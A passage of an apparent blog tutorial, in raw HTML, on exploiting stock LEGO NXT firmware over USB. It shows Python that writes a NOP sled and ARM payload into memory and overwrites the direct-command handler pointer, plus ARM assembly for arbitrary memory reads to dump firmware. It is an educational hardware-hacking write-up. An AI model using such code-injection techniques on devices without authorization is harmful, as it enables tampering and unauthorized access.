&lt;span class="n"&gt;subprocess&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;run&lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;arm-none-eabi-gcc&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;-c&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;nxtpwn.s&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="n"&gt;check&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="kc"&gt;True&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;subprocess&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;run&lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;arm-none-eabi-objcopy&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;-O&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;binary&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;nxtpwn.o&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;nxtpwn.bin&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="n"&gt;check&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="kc"&gt;True&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;with&lt;/span&gt; &lt;span class="nb"&gt;open&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;nxtpwn.bin&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;rb&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="n"&gt;nxtpwn_code&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;read&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;code&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;nxtpwn_code&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;assert&lt;/span&gt; &lt;span class="nb"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;nxtpwn_code&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;%&lt;/span&gt; &lt;span class="mi"&gt;4&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;

&lt;span class="n"&gt;ARM_NOP&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mh"&gt;0xe1a00000&lt;/span&gt;
&lt;span class="n"&gt;nop_len&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;32&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="mi"&gt;1024&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="nb"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;nxtpwn_code&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="n"&gt;dev&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;usb&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;core&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;find&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;idVendor&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mh"&gt;0x0694&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;idProduct&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mh"&gt;0x0002&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;dev&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;set_configuration&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;

&lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;filling memory...&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="nb"&gt;range&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;nop_len&lt;/span&gt; &lt;span class="o"&gt;//&lt;/span&gt; &lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="n"&gt;iomap_w32&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;CMD_MODULE&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;CMD_OFF_MEMPOOL&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;ARM_NOP&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="nb"&gt;range&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;nxtpwn_code&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;//&lt;/span&gt; &lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="n"&gt;offs&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;nop_len&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;
    &lt;span class="n"&gt;val&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;struct&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;unpack&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&amp;lt;I&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;nxtpwn_code&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;])[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="n"&gt;iomap_w32&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;CMD_MODULE&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;CMD_OFF_MEMPOOL&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;offs&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;val&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;This code invokes an ARM assembler to assemble code written in &lt;code&gt;nxtpwn.s&lt;/code&gt; into binary data, fills most of the &lt;code&gt;MemoryPool&lt;/code&gt; with &lt;code&gt;nop&lt;/code&gt;s, and then writes the assembled code at the end.&lt;/p&gt;
&lt;p&gt;&lt;small&gt;You will need to somehow install a copy of GCC and Binutils targeting ARM. Any reasonable version should do, but this is also part of "environment setup".&lt;/small&gt;&lt;/p&gt;
&lt;p&gt;To test this, we can write the most basic assembly code in &lt;code&gt;nxtpwn.s&lt;/code&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="nf"&gt;bx&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;lr&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;This is an empty function which doesn't do anything. If we redirect the direct command handler to it, all direct commands should stop working.&lt;/p&gt;
&lt;p class="aside_q"&gt;How do you learn ARM assembly language?&lt;/p&gt;

&lt;div class="aside_a"&gt;&lt;div&gt;
&lt;p&gt;I personally learned ARM assembly from &lt;a href="https://www.coranac.com/tonc/text/asm.htm"&gt;this tutorial&lt;/a&gt; a long time ago. I generally think of "learning assembly" as consisting of at least two parts: learning how &lt;em&gt;all&lt;/em&gt; CPUs work at a high level, and learning how one particular CPU architecture works.&lt;/p&gt;

&lt;p&gt;For the first part, I started by learning x86 assembly in order to hack PC software. It's also possible to learn from "academic" computer science materials, including free curricula focused around the RISC-V architecture. &lt;a href="https://riscv-programming.org/"&gt;Here&lt;/a&gt; is an example of one I have found. It is also possible to learn this by doing retrocomputing for historical 8-bit computer systems, although those will have more differences from modern CPUs.&lt;/p&gt;

&lt;p&gt;Given sufficient familiarity with the basics of CPUs, it's possible to study and understand documentation specific to ARM or another architecture. Looking at the output of a C compiler really helps to build familiarity and experience.&lt;/p&gt;
&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;We can use &lt;code&gt;python3 -i nxtpwn.py&lt;/code&gt; to load the exploit code before dropping us into the Python REPL.&lt;/p&gt;
&lt;p&gt;Before we actually trigger the exploit, let's try running a "direct" command to make sure it works:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;testbeep&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="sa"&gt;b&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;&lt;/span&gt;&lt;span class="se"&gt;\x02\x03\x00&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;This should make the NXT beep.&lt;/p&gt;
&lt;p&gt;To trigger the exploit, we can enter the following:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;iomap_w32&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;CMD_MODULE&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;CMD_OFF_FNPTR&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x00200000&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;32&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="mi"&gt;1024&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;This replaces that &lt;code&gt;pRCHandler&lt;/code&gt; function pointer with an address in RAM as described above. Now let's try to make the NXT beep again:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;testbeep&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="sa"&gt;b&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;&lt;/span&gt;&lt;span class="se"&gt;\x02\x03\x00\x01\x00\x01\x00&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;This time the NXT doesn't beep (because we've replaced the function which handles direct commands with an empty function) and returns different (garbage) data (because our empty function doesn't set the output length properly either).&lt;/p&gt;
&lt;p&gt;We have successfully achieved &lt;em&gt;native&lt;/em&gt; ARM code execution on the NXT, on an unmodified firmware. This means that we are now free from &lt;em&gt;all&lt;/em&gt; of the restrictions the firmware normally imposes.&lt;/p&gt;
&lt;h1&gt;Dumping firmware&lt;/h1&gt;
&lt;p&gt;Native code execution means we can access any data inside the microcontroller, including the firmware. To actually access it, we need to replace the direct command handler with a function which lets us read arbitrary memory addresses. The direct command handler turns out to be an &lt;em&gt;excellent&lt;/em&gt; location to hijack because it is already hooked up to all the infrastructure needed to communicate to and from the PC. This greatly simplifies the work we need to do.&lt;/p&gt;
&lt;p&gt;In the firmware source code, we can see that the &lt;a href="https://github.com/dlech/nxt-firmware/blob/master/AT91SAM7S256/Source/c_cmd.c#L367"&gt;original command handler&lt;/a&gt; normally takes three arguments: the input buffer, the output buffer, and a pointer to the length of the output. According to the ARM &lt;abbr title="Application Binary Interface"&gt;ABI&lt;/abbr&gt;, these values will be stored in CPU registers &lt;code&gt;r0&lt;/code&gt;, &lt;code&gt;r1&lt;/code&gt;, and &lt;code&gt;r2&lt;/code&gt; respectively.&lt;/p&gt;
&lt;p class="aside_q"&gt;That function is written in C. How can you replace it with a function written in assembly? What is an ABI??&lt;/p&gt;

&lt;div class="aside_a"&gt;&lt;div&gt;
&lt;p&gt;C code is turned into assembly code by a &lt;em&gt;compiler&lt;/em&gt;. If we're not using a compiler, we can still write assembly code by hand.&lt;/p&gt;

&lt;p&gt;When a C compiler turns code into assembly, it has to follow certain conventions in order for different parts of the program to work together properly. For example, code which needs to make a function call needs to agree with the function being called about where to put the function arguments. This information (as well as lots of other stuff we don't care about right now) is specified as part of the ABI.&lt;/p&gt;

&lt;p&gt;Because the ARM architecture is a &lt;abbr title="Reduced Instruction Set Computer"&gt;RISC&lt;/abbr&gt; architecture with comparatively "many" CPU registers, functions with 4 or fewer arguments ≤ 32 bits in size will have the arguments placed into registers &lt;code&gt;r0&lt;/code&gt;-&lt;code&gt;r3&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;As long as our assembly code follows the same conventions as the C code (follows the ABI), the existing firmware can call our code with no problems.&lt;/p&gt;
&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;We can replace the direct command handler with a function that reads from an arbitrary address that we give it:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;# save r4&lt;/span&gt;
&lt;span class="nf"&gt;push&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="no"&gt;r4&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="c1"&gt;# skip 2 bytes of packet&lt;/span&gt;
&lt;span class="nf"&gt;add&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;r0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;#2&lt;/span&gt;

&lt;span class="c1"&gt;# load 4 bytes of the address&lt;/span&gt;
&lt;span class="nf"&gt;ldrb&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;r3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;r0&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="nf"&gt;add&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;r0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;#1&lt;/span&gt;
&lt;span class="nf"&gt;ldrb&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;r4&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;r0&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="nf"&gt;add&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;r0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;#1&lt;/span&gt;
&lt;span class="nf"&gt;orr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;r3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;r4&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;lsl&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;#8&lt;/span&gt;
&lt;span class="nf"&gt;ldrb&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;r4&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;r0&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="nf"&gt;add&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;r0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;#1&lt;/span&gt;
&lt;span class="nf"&gt;orr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;r3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;r4&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;lsl&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;#16&lt;/span&gt;
&lt;span class="nf"&gt;ldrb&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;r4&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;r0&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="nf"&gt;add&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;r0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;#1&lt;/span&gt;
&lt;span class="nf"&gt;orr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;r3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;r4&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;lsl&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;#24&lt;/span&gt;

&lt;span class="c1"&gt;# read data from that address&lt;/span&gt;
&lt;span class="nf"&gt;ldr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;r3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;r3&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;

&lt;span class="c1"&gt;# store 4 bytes of the resulting value&lt;/span&gt;
&lt;span class="nf"&gt;strb&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;r3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;r1&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="nf"&gt;add&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;r1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;#1&lt;/span&gt;
&lt;span class="nf"&gt;lsr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;r3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;#8&lt;/span&gt;
&lt;span class="nf"&gt;strb&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;r3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;r1&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="nf"&gt;add&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;r1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;#1&lt;/span&gt;
&lt;span class="nf"&gt;lsr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;r3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;#8&lt;/span&gt;
&lt;span class="nf"&gt;strb&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;r3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;r1&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="nf"&gt;add&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;r1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;#1&lt;/span&gt;
&lt;span class="nf"&gt;lsr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;r3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;#8&lt;/span&gt;
&lt;span class="nf"&gt;strb&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;r3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;r1&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;

&lt;span class="c1"&gt;# store the output length of 4&lt;/span&gt;
&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;r3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;#4&lt;/span&gt;
&lt;span class="nf"&gt;strb&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;r3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;r2&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;

&lt;span class="c1"&gt;# return success&lt;/span&gt;
&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;r0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;#0&lt;/span&gt;
&lt;span class="nf"&gt;pop&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="no"&gt;r4&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="nf"&gt;bx&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;lr&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;div class="aside_q"&gt;&lt;p&gt;Why do we need to save &lt;code&gt;r4&lt;/code&gt;?&lt;/p&gt;&lt;/div&gt;

&lt;div class="aside_a"&gt;&lt;p&gt;The ABI says so. ABIs typically designate that called functions can freely modify only certain registers. Called functions have to save and restore the others. This is a trade-off to try to reduce unnecessary saving and reloading of data which is no longer needed.&lt;/p&gt;&lt;/div&gt;

&lt;p&gt;Now that we have this exploit code, we can now add some more code to the Python script in order to use it:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;sending pwn command&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;iomap_w32&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;CMD_MODULE&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;CMD_OFF_FNPTR&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x00200000&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;32&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="mi"&gt;1024&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;pwn_read&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;addr&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="n"&gt;cmd&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;struct&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;pack&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&amp;lt;BBI&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0xaa&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;addr&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;dev&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;write&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;cmd&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
